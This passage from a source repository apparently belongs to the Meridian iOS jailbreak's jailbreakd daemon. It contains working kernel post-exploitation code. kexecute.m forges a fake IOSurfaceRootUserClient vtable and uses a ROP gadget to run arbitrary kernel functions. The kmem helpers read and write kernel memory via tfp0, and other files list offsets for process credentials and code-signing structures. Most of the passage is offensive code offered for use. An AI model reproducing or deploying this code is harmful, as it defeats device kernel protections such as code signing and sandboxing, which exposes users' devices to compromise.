8 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
9 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/kexecute.m:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "kern_utils.h"
4 | #include "kexecute.h"
5 | #include "kmem.h"
6 | #include "offsetof.h"
7 |
8 | mach_port_t prepare_user_client() {
9 | kern_return_t err;
10 | mach_port_t user_client;
11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
12 |
13 | if (service == IO_OBJECT_NULL) {
14 | printf(" [-] unable to find service\n");
15 | exit(EXIT_FAILURE);
16 | }
17 |
18 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
19 | if (err != KERN_SUCCESS) {
20 | printf(" [-] unable to get user client connection\n");
21 | exit(EXIT_FAILURE);
22 | }
23 |
24 |
25 | printf("got user client: 0x%x\n", user_client);
26 | return user_client;
27 | }
28 |
29 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
30 | pthread_mutex_t kexecute_lock;
31 | static mach_port_t user_client;
32 | static uint64_t IOSurfaceRootUserClient_port;
33 | static uint64_t IOSurfaceRootUserClient_addr;
34 | static uint64_t fake_vtable;
35 | static uint64_t fake_client;
36 | const int fake_kalloc_size = 0x1000;
37 |
38 | void init_kexecute() {
39 | user_client = prepare_user_client();
40 |
41 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
42 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
43 |
44 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
45 |
46 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
47 |
48 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
49 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
50 |
51 | // Create the vtable in the kernel memory, then copy the existing vtable into there
52 | fake_vtable = kalloc(fake_kalloc_size);
53 |
54 | for (int i = 0; i < 0x200; i++) {
55 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
56 | }
57 |
58 | // Create the fake user client
59 | fake_client = kalloc(fake_kalloc_size);
60 |
61 | for (int i = 0; i < 0x200; i++) {
62 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
63 | }
64 |
65 | // Write our fake vtable into the fake user client
66 | wk64(fake_client, fake_vtable);
67 |
68 | // Replace the user client with ours
69 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
70 |
71 | // Now the userclient port we have will look into our fake user client rather than the old one
72 |
73 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
74 | wk64(fake_vtable+8*0xB7, offset_add_ret_gadget);
75 |
76 | pthread_mutex_init(&kexecute_lock, NULL);
77 | }
78 |
79 | void term_kexecute() {
80 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
81 | kfree(fake_vtable, fake_kalloc_size);
82 | kfree(fake_client, fake_kalloc_size);
83 | }
84 |
85 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
86 | pthread_mutex_lock(&kexecute_lock);
87 |
88 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
89 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
90 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
91 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
92 | // through like normal.
93 |
94 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
95 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
96 | // (i'm not actually sure if the switch back is necessary but meh)
97 |
98 | uint64_t offx20 = rk64(fake_client+0x40);
99 | uint64_t offx28 = rk64(fake_client+0x48);
100 | wk64(fake_client+0x40, x0);
101 | wk64(fake_client+0x48, addr);
102 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
103 | wk64(fake_client+0x40, offx20);
104 | wk64(fake_client+0x48, offx28);
105 |
106 | pthread_mutex_unlock(&kexecute_lock);
107 |
108 | return returnval;
109 | }
110 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/kmem.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | uint64_t kalloc(vm_size_t size);
4 | void kfree(mach_vm_address_t address, vm_size_t size);
5 |
6 | size_t kread(uint64_t where, void *p, size_t size);
7 | uint16_t rk16(uint64_t kaddr);
8 | uint32_t rk32(uint64_t kaddr);
9 | uint64_t rk64(uint64_t kaddr);
10 |
11 | size_t kwrite(uint64_t where, const void *p, size_t size);
12 | void wk16(uint64_t kaddr, uint16_t val);
13 | void wk32(uint64_t kaddr, uint32_t val);
14 | void wk64(uint64_t kaddr, uint64_t val);
15 |
16 | uint64_t zm_fix_addr(uint64_t addr);
17 |
18 | int kstrcmp(uint64_t kstr, const char *str);
19 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/kmem.m:
--------------------------------------------------------------------------------
1 | #include "kern_utils.h"
2 | #include "kmem.h"
3 |
4 | #import
5 |
6 | #define MAX_CHUNK_SIZE 0xFFF
7 |
8 | size_t kread(uint64_t where, void *p, size_t size) {
9 | int rv;
10 | size_t offset = 0;
11 | while (offset < size) {
12 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;
13 | if (chunk > size - offset) {
14 | chunk = size - offset;
15 | }
16 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
17 | if (rv || sz == 0) {
18 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
19 | break;
20 | }
21 | offset += sz;
22 | }
23 | return offset;
24 | }
25 |
26 | size_t kwrite(uint64_t where, const void *p, size_t size) {
27 | int rv;
28 | size_t offset = 0;
29 | while (offset < size) {
30 | size_t chunk = MAX_CHUNK_SIZE;
31 | if (chunk > size - offset) {
32 | chunk = size - offset;
33 | }
34 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk);
35 | if (rv) {
36 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
37 | break;
38 | }
39 | offset += chunk;
40 | }
41 | return offset;
42 | }
43 |
44 | uint64_t kalloc(vm_size_t size) {
45 | mach_vm_address_t address = 0;
46 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
47 | return address;
48 | }
49 |
50 | void kfree(mach_vm_address_t address, vm_size_t size) {
51 | mach_vm_deallocate(tfp0, address, size);
52 | }
53 |
54 | uint16_t rk16(uint64_t kaddr) {
55 | uint16_t val = 0;
56 | kread(kaddr, &val, sizeof(val));
57 | return val;
58 | }
59 |
60 | uint32_t rk32(uint64_t kaddr) {
61 | uint32_t val = 0;
62 | kread(kaddr, &val, sizeof(val));
63 | return val;
64 | }
65 |
66 | uint64_t rk64(uint64_t kaddr) {
67 | uint64_t val = 0;
68 | kread(kaddr, &val, sizeof(val));
69 | return val;
70 | }
71 |
72 | void wk16(uint64_t kaddr, uint16_t val) {
73 | kwrite(kaddr, &val, sizeof(val));
74 | }
75 |
76 | void wk32(uint64_t kaddr, uint32_t val) {
77 | kwrite(kaddr, &val, sizeof(val));
78 | }
79 |
80 | void wk64(uint64_t kaddr, uint64_t val) {
81 | kwrite(kaddr, &val, sizeof(val));
82 | }
83 |
84 | // thx Siguza
85 | typedef struct {
86 | uint64_t prev;
87 | uint64_t next;
88 | uint64_t start;
89 | uint64_t end;
90 | } kmap_hdr_t;
91 |
92 | uint64_t zm_fix_addr(uint64_t addr) {
93 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
94 |
95 | if (zm_hdr.start == 0) {
96 | uint64_t zone_map = rk64(offset_zonemap + kernel_slide);
97 |
98 | // hdr is at offset 0x10, mutexes at start
99 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
100 |
101 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
102 | NSLog(@"kread of zone_map failed!");
103 | return 0;
104 | }
105 |
106 | if (zm_hdr.end - zm_hdr.start > 0x100000000) {
107 | NSLog(@"zone_map is too big, sorry.\n");
108 | return 0;
109 | }
110 | }
111 |
112 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
113 |
114 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
115 | }
116 |
117 | int kstrcmp(uint64_t kstr, const char *str) {
118 | size_t len = strlen(str) + 1;
119 | char *local = malloc(len + 1);
120 | local[len] = '\0';
121 |
122 | int ret = 1;
123 |
124 | if (kread(kstr, local, len) == len) {
125 | ret = strcmp(local, str);
126 | }
127 |
128 | free(local);
129 |
130 | return ret;
131 | }
132 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/offsetof.c:
--------------------------------------------------------------------------------
1 |
2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid
3 | unsigned offsetof_task = 0x18; // proc_t::task
4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid
5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid
6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid
7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid
8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred
9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags
10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space
14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject
17 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp
18 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff
19 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype
20 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype
21 | unsigned offsetof_special = 2 * sizeof(long); // host::special
22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
23 |
24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid
25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid
27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups
29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid
30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
31 |
32 | unsigned offsetof_v_type = 0x70; // vnode::v_type
33 | unsigned offsetof_v_id = 0x74; // vnode::v_id
34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo
35 |
36 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
37 |
38 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype
39 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags
40 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset
41 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements
42 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
43 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary
44 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path
45 |
46 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags
47 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/offsetof.h:
--------------------------------------------------------------------------------
1 |
2 | extern unsigned offsetof_p_pid;
3 | extern unsigned offsetof_task;
4 | extern unsigned offsetof_p_uid;
5 | extern unsigned offsetof_p_gid;
6 | extern unsigned offsetof_p_ruid;
7 | extern unsigned offsetof_p_rgid;
8 | extern unsigned offsetof_p_ucred;
9 | extern unsigned offsetof_p_csflags;
10 | extern unsigned offsetof_itk_self;
11 | extern unsigned offsetof_itk_sself;
12 | extern unsigned offsetof_itk_bootstrap;
13 | extern unsigned offsetof_itk_space;
14 | extern unsigned offsetof_ip_mscount;
15 | extern unsigned offsetof_ip_srights;
16 | extern unsigned offsetof_ip_kobject;
17 | extern unsigned offsetof_p_textvp;
18 | extern unsigned offsetof_p_textoff;
19 | extern unsigned offsetof_p_cputype;
20 | extern unsigned offsetof_p_cpu_subtype;
21 | extern unsigned offsetof_special;
22 | extern unsigned offsetof_ipc_space_is_table;
23 |
24 | extern unsigned offsetof_ucred_cr_uid;
25 | extern unsigned offsetof_ucred_cr_ruid;
26 | extern unsigned offsetof_ucred_cr_svuid;
27 | extern unsigned offsetof_ucred_cr_ngroups;
28 | extern unsigned offsetof_ucred_cr_groups;
29 | extern unsigned offsetof_ucred_cr_rgid;
30 | extern unsigned offsetof_ucred_cr_svgid;
31 |
32 | extern unsigned offsetof_v_type;
33 | extern unsigned offsetof_v_id;
34 | extern unsigned offsetof_v_ubcinfo;
35 |
36 | extern unsigned offsetof_ubcinfo_csblobs;
37 |
38 | extern unsigned offsetof_csb_cputype;
39 | extern unsigned offsetof_csb_flags;
40 | extern unsigned offsetof_csb_base_offset;
41 | extern unsigned offsetof_csb_entitlements_offset;
42 | extern unsigned offsetof_csb_signer_type;
43 | extern unsigned offsetof_csb_platform_binary;
44 | extern unsigned offsetof_csb_platform_path;
45 |
46 | extern unsigned offsetof_t_flags;
47 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "kern_utils.h"
4 | #include "kexecute.h"
5 | #include "kmem.h"
6 | #include "osobject.h"
7 |
8 | // offsets in vtable:
9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
12 |
13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
16 |
17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
20 |
21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
22 |
23 | // 1 on success, 0 on error
24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
25 | size_t len = strlen(key) + 1;
26 |
27 | uint64_t ks = kalloc(len);
28 | kwrite(ks, key, len);
29 |
30 | uint64_t vtab = rk64(dict);
31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
32 |
33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);
34 |
35 | kfree(ks, len);
36 |
37 | return rv;
38 | }
39 |
40 | // XXX it can return 0 in lower 32 bits but still be valid
41 | // fix addr of returned value and check if rk64 gives ptr
42 | // to vtable addr saved before
43 |
44 | // address if exists, 0 if not
45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
46 | size_t len = strlen(key) + 1;
47 |
48 | uint64_t ks = kalloc(len);
49 | kwrite(ks, key, len);
50 |
51 | uint64_t vtab = rk64(dict);
52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
53 |
54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);
55 |
56 | kfree(ks, len);
57 |
58 | return rv;
59 | }
60 |
61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
62 | uint64_t ret = _OSDictionary_GetItem(dict, key);
63 |
64 | if (ret != 0) {
65 | // XXX can it be not in zalloc?..
66 | ret = zm_fix_addr(ret);
67 | }
68 |
69 | return ret;
70 | }
71 |
72 | // 1 on success, 0 on error
73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
74 | uint64_t vtab = rk64(dict);
75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
76 |
77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);
78 | }
79 |
80 | // 1 on success, 0 on error
81 | int OSArray_Merge(uint64_t array, uint64_t aArray) {
82 | uint64_t vtab = rk64(array);
83 | uint64_t f = rk64(vtab + off_OSArray_Merge);
84 |
85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);
86 | }
87 |
88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
89 | uint64_t vtab = rk64(array);
90 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
91 |
92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0);
93 | }
94 |
95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
96 | uint64_t ret = _OSArray_GetObject(array, idx);
97 |
98 | if (ret != 0){
99 | // XXX can it be not in zalloc?..
100 | ret = zm_fix_addr(ret);
101 | }
102 | return ret;
103 | }
104 |
105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
106 | uint64_t vtab = rk64(array);
107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
108 |
109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);
110 | }
111 |
112 | // XXX error handling just for fun? :)
113 | uint64_t _OSUnserializeXML(const char *buffer) {
114 | size_t len = strlen(buffer) + 1;
115 |
116 | uint64_t ks = kalloc(len);
117 | kwrite(ks, buffer, len);
118 |
119 | uint64_t errorptr = 0;
120 |
121 | uint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0);
122 | kfree(ks, len);
123 |
124 | return rv;
125 | }
126 |
127 | uint64_t OSUnserializeXML(const char *buffer) {
128 | uint64_t ret = _OSUnserializeXML(buffer);
129 |
130 | if (ret != 0) {
131 | // XXX can it be not in zalloc?..
132 | ret = zm_fix_addr(ret);
133 | }
134 |
135 | return ret;
136 | }
137 |
138 | void OSObject_Release(uint64_t osobject) {
139 | uint64_t vtab = rk64(osobject);
140 | uint64_t f = rk64(vtab + off_OSObject_Release);
141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
142 | }
143 |
144 | void OSObject_Retain(uint64_t osobject) {
145 | uint64_t vtab = rk64(osobject);
146 | uint64_t f = rk64(vtab + off_OSObject_Release);
147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
148 | }
149 |
150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
151 | uint64_t vtab = rk64(osobject);
152 | uint64_t f = rk64(vtab + off_OSObject_Release);
153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
154 | }
155 |
156 | unsigned int OSString_GetLength(uint64_t osstring){
157 | uint64_t vtab = rk64(osstring);
158 | uint64_t f = rk64(vtab + off_OSString_GetLength);
159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);
160 | }
161 |
162 | char *OSString_CopyString(uint64_t osstring){
163 | unsigned int length = OSString_GetLength(osstring);
164 | char *str = malloc(length + 1);
165 | str[length] = 0;
166 |
167 | kread(OSString_CStringPtr(osstring), str, length);
168 | return str;
169 | }
170 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/osobject.h:
--------------------------------------------------------------------------------
1 |
2 | #define OSDictionary_ItemCount(dict) rk32(dict+20)
3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32)
4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)
5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)
6 | #define OSString_CStringPtr(str) rk64(str + 0x10)
7 | #define OSArray_ItemCount(arr) rk32(arr+0x14)
8 | #define OSArray_ItemBuffer(arr) rk64(arr+32)
9 |
10 | // see osobject.c for info
11 |
12 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
14 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict);
15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
17 | int OSArray_Merge(uint64_t array, uint64_t aArray);
18 | uint64_t OSUnserializeXML(const char *buffer);
19 |
20 | void OSObject_Release(uint64_t osobject);
21 | void OSObject_Retain(uint64_t osobject);
22 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
23 |
24 | unsigned int OSString_GetLength(uint64_t osstring);
25 | char *OSString_CopyString(uint64_t osstring);
26 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/kern_utils.h:
--------------------------------------------------------------------------------
1 | #import
2 |
3 | #import
4 | #import
5 | #import
6 |
7 | #import
8 |
9 | /****** IOKit/IOKitLib.h *****/
10 | typedef mach_port_t io_service_t;
11 | typedef mach_port_t io_connect_t;
12 |
13 | extern const mach_port_t kIOMasterPortDefault;
14 | #define IO_OBJECT_NULL (0)
15 |
16 | kern_return_t
17 | IOConnectCallAsyncMethod(
18 | mach_port_t connection,
19 | uint32_t selector,
20 | mach_port_t wakePort,
21 | uint64_t* reference,
22 | uint32_t referenceCnt,
23 | const uint64_t* input,
24 | uint32_t inputCnt,
25 | const void* inputStruct,
26 | size_t inputStructCnt,
27 | uint64_t* output,
28 | uint32_t* outputCnt,
29 | void* outputStruct,
30 | size_t* outputStructCntP);
31 |
32 | kern_return_t
33 | IOConnectCallMethod(
34 | mach_port_t connection,
35 | uint32_t selector,
36 | const uint64_t* input,
37 | uint32_t inputCnt,
38 | const void* inputStruct,
39 | size_t inputStructCnt,
40 | uint64_t* output,
41 | uint32_t* outputCnt,
42 | void* outputStruct,
43 | size_t* outputStructCntP);
44 |
45 | io_service_t
46 | IOServiceGetMatchingService(
47 | mach_port_t _masterPort,
48 | CFDictionaryRef matching);
49 |
50 | CFMutableDictionaryRef
51 | IOServiceMatching(
52 | const char* name);
53 |
54 | kern_return_t
55 | IOServiceOpen(
56 | io_service_t service,
57 | task_port_t owningTask,
58 | uint32_t type,
59 | io_connect_t* connect );
60 |
61 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
62 | kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);
63 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
64 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
65 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
66 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
67 |
68 | #define CS_VALID 0x0000001 /* dynamically valid */
69 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
70 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
71 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
72 |
73 | #define CS_HARD 0x0000100 /* don't load invalid pages */
74 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
75 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
76 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
77 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
78 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
79 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
80 |
81 | #define CS_ALLOWED_MACHO 0x00ffffe
82 |
83 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
84 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
85 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
86 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
87 |
88 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
89 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
90 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
91 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
92 |
93 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
94 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
95 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code */
96 |
97 | extern mach_port_t tfp0;
98 | extern uint64_t kernel_base;
99 | extern uint64_t kernel_slide;
100 |
101 | extern uint64_t kernprocaddr;
102 | extern uint64_t offset_zonemap;
103 |
104 | extern uint64_t offset_add_ret_gadget;
105 | extern uint64_t offset_osboolean_true;
106 | extern uint64_t offset_osboolean_false;
107 | extern uint64_t offset_osunserializexml;
108 | extern uint64_t offset_smalloc;
109 |
110 | uint64_t find_port(mach_port_name_t port);
111 |
112 | uint64_t proc_find(int pd);
113 |
114 | void platformize(int pd);
115 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/mach/mig.defs:
--------------------------------------------------------------------------------
1 | // mig -sheader jailbreak_daemonServer.h -header jailbreak_daemonUser.h mig.defs
2 |
3 | subsystem jailbreak_daemon 500;
4 | userprefix jbd_;
5 | serverprefix jbd_;
6 |
7 | WaitTime 2500;
8 |
9 | #include
10 | #include
11 |
12 | routine call(server_port : mach_port_t;
13 | in command : uint8_t;
14 | in pid : uint32_t);
15 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/sandbox.h:
--------------------------------------------------------------------------------
1 |
2 | // see https://stek29.rocks/2018/01/26/sandbox.html
3 |
4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc);
5 | uint64_t extension_create_file(const char* path, uint64_t nextptr);
6 | int has_file_extension(uint64_t sb, const char* path);
7 |
--------------------------------------------------------------------------------
/Meridian/libimg4tool.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libimg4tool.a
--------------------------------------------------------------------------------
/Meridian/libmerged.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libmerged.a
--------------------------------------------------------------------------------
/Meridian/liboffsetfinder64.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/liboffsetfinder64.a
--------------------------------------------------------------------------------
/Meridian/libplist++.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libplist++.a
--------------------------------------------------------------------------------
/Meridian/libplist.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libplist.a
--------------------------------------------------------------------------------
/Meridian/pspawn_hook/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = pspawn_hook.dylib
2 | OUTDIR ?= bin
3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard mach/*.c)
4 |
5 | CC = xcrun -sdk iphoneos gcc -arch arm64 -arch armv7 -arch armv7s
6 | LDID = ldid
7 | CFLAGS = -dynamiclib -I./mach -framework Foundation
8 |
9 | all: $(OUTDIR)/$(TARGET)
10 |
11 | $(OUTDIR):
12 | mkdir -p $(OUTDIR)
13 |
14 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)
15 | $(CC) $(CFLAGS) -o $@ $^
16 | $(LDID) -S $@
17 |
18 | install: all
19 |
20 | clean:
21 | rm -rf $(OUTDIR)
22 |
--------------------------------------------------------------------------------
/Meridian/pspawn_hook/fishhook.c:
--------------------------------------------------------------------------------
1 | ../fishhook/fishhook.c
--------------------------------------------------------------------------------
/Meridian/pspawn_hook/fishhook.h:
--------------------------------------------------------------------------------
1 | ../fishhook/fishhook.h
--------------------------------------------------------------------------------
/Meridian/pspawn_hook/mach/jailbreak_daemonUser.h:
--------------------------------------------------------------------------------
1 | #ifndef _jailbreak_daemon_user_
2 | #define _jailbreak_daemon_user_
3 |
